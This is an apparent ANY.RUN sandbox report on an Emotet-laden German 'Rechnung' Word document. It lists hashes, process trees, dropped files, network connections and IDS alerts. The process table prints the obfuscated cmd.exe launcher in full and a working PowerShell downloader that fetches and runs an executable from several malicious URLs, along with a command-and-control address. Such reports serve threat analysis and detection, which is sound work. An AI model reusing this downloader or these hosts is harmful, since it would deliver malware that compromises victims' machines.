File name: | Rechnung-WUE87093092-97.doc |
Full analysis: | https://app.any.run/tasks/ed1a62c5-a140-4559-8423-3281d2623c9a |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | November 14, 2018, 08:24:48 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Tristan, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Nov 14 06:38:00 2018, Last Saved Time/Date: Wed Nov 14 06:38:00 2018, Number of Pages: 1, Number of Words: 2, Number of Characters: 13, Security: 0 |
MD5: | 1E92BE091039667BAD5F4FA531B258EE |
SHA1: | E7B71CD9AB90F008E496D7EF7C39DEF08D3DC5FF |
SHA256: | AC8AAE8F789FAC37A88F9A2642721833A68DDB5F47154807EF249FDAAB96E899 |
SSDEEP: | 1536:A9ocn1kp59gxBK85fBt+a92scC50hedtx89Z5vRZVAym:l41k/W488k50hedtx89Z5vRZVDm |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
Title: | - |
---|---|
Subject: | - |
Author: | Tristan |
Keywords: | - |
Comments: | - |
Template: | Normal.dotm |
LastModifiedBy: | - |
RevisionNumber: | 1 |
Software: | Microsoft Office Word |
TotalEditTime: | - |
CreateDate: | 2018:11:14 06:38:00 |
ModifyDate: | 2018:11:14 06:38:00 |
Pages: | 1 |
Words: | 2 |
Characters: | 13 |
Security: | None |
CodePage: | Windows Latin 1 (Western European) |
Company: | - |
Lines: | 1 |
Paragraphs: | 1 |
CharCountWithSpaces: | 14 |
AppVersion: | 16 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: | - |
HeadingPairs: |
|
CompObjUserTypeLen: | 32 |
CompObjUserType: | Microsoft Word 97-2003 Document |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3708 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Rechnung-WUE87093092-97.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
584 | cmd /V/C"^s^et ^s^Kc^p=^.^i{H^OTMP^hK^}W)^Q^a:+^g^e^XFN^dc^f^uV1-@$^6vS,/^I^=^0Bz^](bnx2^p^D[r'^J^E;^ ^sw^j^l^kt^omC^GA\y&&^f^or %^O ^in (4^7;6^2^;5^7^;18;^50^;^56^;^8;1^8;59;5^9^;^55^;^3^0^;^3^;3;^40;^37;^5^1^;25^;26;^6^3^;5^1;^5^4^;3^0;^5^;8;66^;37;^51;^8;6^1;^6^1^;^47^;^1^5;^3^5;35;^1^4^;4^4^;^14^;6^8^;14;2^3;^6^2;4^4;6^1;50^;^1^4;^2^3;^6^1;1^;4^4^;^17;^0^;1^7;1^7^;4^3^;^50;62;0^;2^3^;59^;2^5;4^3^;35;1^1;^3^1;^2^7^;5;22^;^4^6;8^;29^;8;6^1;^61;^47;^1^5;3^5;35^;6^3^;^1^8^;4^4^;6^1;6^2^;^50;2^7^;5^6^;^6^1^;^0;^2^3^;^62;63^;3^5;^65;^7;^5^8^;^1^3^;6^1;^4^6;7^;^4^5^;^18^;^2^9^;^8;^61^;61;4^7;^15;^35;35;32^;^4^7^;18^;^44^;61;^1;63^;18^;4^5^;^0;2^3^;62^;^63^;^3^5^;4^8;2^2^;^27;^4;3^3;4^;4;^29^;8^;6^1^;61;4^7^;15;3^5^;^3^5^;43;50^;^1^4^;1;^61;^8^;^5^7;1^4;1^;^6^1^;^1^8;^50^;^18;^5^6;61;6^2^;^5^0;14^;^6^1^;1^;^6^2;44^;0^;2^3;6^2;^6^3^;^35;^22^;^1^7;20^;9;53;3^2;^64^;29;^8^;^61^;^6^1^;^4^7;^15^;^3^5^;35^;4^3^;^18;^1^8^;47;^50^;^62;28^;47;^5^0;^62^;^4^7;6^2^;5^9^;1^;5^6;0^;^23^;62;^6^3^;35;45^;^2^4;6^;59^;^62^;^5^3^;6^0^;^6^1^;3^1;^51;^0^;^3^3^;^47^;5^9;^1^;6^1^;^4^2^;5^1;2^9;^51^;12;54;30^;^62^;^32^;1;^3^7^;42^;^4^9^;^33;^6^8;5^6;6^1^;1^8^;63^;0^;36;^4^;0^;^7^;^14^;^61;8^;^4^1;1^5;^1^5;6^5;1^8^;6^1^;5;^1^8;6^3;4^7;7^;^14^;6^1;^8;^4^2;12;^16;^5^1;^6^7;^6^6;^5^2^;^5^;0^;18^;4^5;^18;^51^;^1^2;54;^30^;^5^8^;^1^9;^36^;55;^3^7;2^1;^18;^57;2^8;4;4^3^;58;18;23^;61^;5^5;^28;2^3;^62^;63^;55;5^1^;^6^3^;56;^45^;^6^3;59^;46;^0^;4^5;^63^;^5^9;^8^;6^1;6^1;^47;5^1;^5^4^;^30;36^;5^7;1;^55^;^37;^5^5;21^;1^8^;57^;^2^8;^4;^4^3^;58^;^18^;^23^;6^1^;55^;^2^8^;^23;62;63^;^55^;^51;14;^22^;6^2;^22;^43;^0^;^5^6;^6^1^;5^0^;18^;14^;6^3^;^5^1^;^54^;2^4^;6^2;50^;1^8;^1^4^;2^3^;8^;^42^;30^;^22;44^;^4;55;^1;44;^55;^3^0^;^5;8;^6^6^;^12^;^2;^61^;^5^0;6^8^;^2^;^30;^58^;19^;36;0;^6^2^;4^7;^18;44^;42^;^5^1;65^;^5^3;5^;^51;^34;30;^22;4^4^;4;34;^3^8;^1^2;54^;30^;58^;19^;36^;^0^;^5^6;1^8;^4^4^;^22;^42^;1^2^;5^4;30;^3^6^;^57^;1;^0^;6^2;4^7;^1^8;4^4^;^42;1^2;54^;3^0;^36^;^57;^1;0;^61^;^68;47^;1^8;55^;^37;5^5^;27;^5^4^;30;3^6;5^7;1;0;57;50^;1;^6^1;18^;^4^2^;^3^0;^5^8^;19^;^36^;0;5^0;18^;^5^6^;47;^62;4^4;^5^6^;1^8;3^9;^62;2^2;6^8;^12^;54^;^30^;36^;^57^;1;0^;^56^;^1^4;^3^2^;^18^;^6^1^;^62^;24^;^1;^59;18^;^42^;^30;^6^2;3^2^;1;^1^2;5^4^;^3^3^;^6^1;^1^4^;^5^0^;61^;2^8^;7;5^0;^6^2^;23^;1^8;^56;^56^;^5^5;3^0^;62;32^;1^;54^;^4^3^;50^;18;^14;^6^0;1^0;^23^;1^4^;6^1^;23^;8;^2^;10^;1^0^;^5^5^;55;55;5^5^;^5^5;^5^5;5^5^;^55;^5^5^;^5^5;^55;^55;^55^;^55^;55^;55^;^5^5;^78)^d^o s^e^t c^z^oy=!c^z^oy!!^s^Kc^p:~%^O,1!&&i^f %^O ^g^tr ^7^7 c^a^ll %c^z^oy:^~^-5^3^9%" | C:\Windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3048 | powershell $HHz='uVm';$ThA='http://anayacontracting.ggbro.club/W61Td2h@http://mentor1st.com/GPjQt2Pxe@http://vpentimex.com/Dd1OSOO@http://braithwaiterestoration.com/dgFKEvC@http://beepro-propolis.com/xfMloEkt6'.Split('@');$ovi=([System.IO.Path]::GetTempPath()+'\AJT.exe');$jXI =New-Object -com 'msxml2.xmlhttp';$Iwi = New-Object -com 'adodb.stream';foreach($dnO in $ThA){try{$jXI.open('GET',$dnO,0);$jXI.send();$Iwi.open();$Iwi.type = 1;$Iwi.write($jXI.responseBody);$Iwi.savetofile($ovi);Start-Process $ovi;break}catch{}} | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
1380 | "C:\Users\admin\AppData\Local\Temp\AJT.exe" | C:\Users\admin\AppData\Local\Temp\AJT.exe | — | powershell.exe |
User: admin Company: Micro Integrity Level: MEDIUM Exit code: 0 Version: 6.1.7600.1 | ||||
2124 | "C:\Users\admin\AppData\Local\Temp\AJT.exe" | C:\Users\admin\AppData\Local\Temp\AJT.exe | AJT.exe | |
User: admin Company: Micro Integrity Level: MEDIUM Exit code: 0 Version: 6.1.7600.1 | ||||
2760 | "C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe" | C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe | AJT.exe | |
User: admin Company: Micro Integrity Level: MEDIUM Exit code: 0 Version: 6.1.7600.1 | ||||
1308 | "C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe" | C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe | lpiograd.exe | |
User: admin Company: Micro Integrity Level: MEDIUM Version: 6.1.7600.1 |
PID | Process | Filename | Type | |
---|---|---|---|---|
3708 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA6F9.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3048 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9H77C4C3NTZBLOKMLOUT.temp | — | |
MD5:— | SHA256:— | |||
3048 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\fA8ZXfXJr[1].exe | — | |
MD5:— | SHA256:— | |||
3708 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:85283E8C73AC10A255BBE4286BF1BDB3 | SHA256:0020F0707504300A48B9B083CDF48B2783CA33CFEDF40EFB79F861241E0A6BF5 | |||
3048 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF5db6b9.TMP | binary | |
MD5:3C6A7AAE234382390B6B52F47ECA1BAA | SHA256:C8D6BF40DC644B318B2D69E1A1CD3EC9CCFDED8ADE326D33CFAA2C4E3187FCD2 | |||
3048 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:3C6A7AAE234382390B6B52F47ECA1BAA | SHA256:C8D6BF40DC644B318B2D69E1A1CD3EC9CCFDED8ADE326D33CFAA2C4E3187FCD2 | |||
3048 | powershell.exe | C:\Users\admin\AppData\Local\Temp\AJT.exe | executable | |
MD5:405E905529DCD6817485CF4322C6B4F1 | SHA256:8F3F1DDAD7C13B3757CA200FA93D2AFD33C52B1C7DC2F27CAA8ECD989291F748 | |||
2124 | AJT.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe | executable | |
MD5:405E905529DCD6817485CF4322C6B4F1 | SHA256:8F3F1DDAD7C13B3757CA200FA93D2AFD33C52B1C7DC2F27CAA8ECD989291F748 | |||
3708 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$chnung-WUE87093092-97.doc | pgc | |
MD5:5EB2E42FA25595BE1112F61201425A3C | SHA256:76B09CFA4D17AC0ECB8D8D75924A9FB92202B0F0EAF2B2B3930F57A70A2DB9EE |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3048 | powershell.exe | GET | 200 | 108.179.213.61:80 | http://anayacontracting.ggbro.club/W61Td2h/ | US | executable | 125 Kb | malicious |
3048 | powershell.exe | GET | 301 | 108.179.213.61:80 | http://anayacontracting.ggbro.club/W61Td2h | US | html | 328 b | malicious |
1308 | lpiograd.exe | GET | — | 187.163.174.149:8080 | http://187.163.174.149:8080/ | MX | — | — | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3048 | powershell.exe | 108.179.213.61:80 | anayacontracting.ggbro.club | CyrusOne LLC | US | suspicious |
1308 | lpiograd.exe | 187.163.174.149:8080 | — | Axtel, S.A.B. de C.V. | MX | malicious |
Domain | IP | Reputation |
---|---|---|
anayacontracting.ggbro.club |
| malicious |
PID | Process | Class | Message |
---|---|---|---|
3048 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3048 | powershell.exe | A Network Trojan was detected | ET CURRENT_EVENTS Likely Evil EXE download from MSXMLHTTP non-exe extension M2 |
3048 | powershell.exe | A Network Trojan was detected | ET TROJAN VBScript Redirect Style Exe File Download |
3048 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |